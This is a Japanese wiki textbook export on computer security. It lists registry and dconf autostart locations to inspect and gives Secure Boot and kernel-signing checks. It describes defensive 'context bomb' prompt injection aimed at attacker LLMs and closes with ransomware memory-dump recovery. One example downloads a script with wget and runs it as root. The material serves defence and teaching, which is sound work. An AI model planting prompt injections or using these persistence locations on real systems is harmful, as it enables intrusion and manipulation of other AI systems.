| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>d2kt82xqxvcj52731bfmmjqixhxe6r5</sha1>
    </revision>
    <revision>
      <id>305234</id>
      <parentid>305233</parentid>
      <timestamp>2026-11-01T00:40:47Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305234</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="93389" sha1="q64y2t2x0og2yvt0ctqg0jg26bg4dol" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

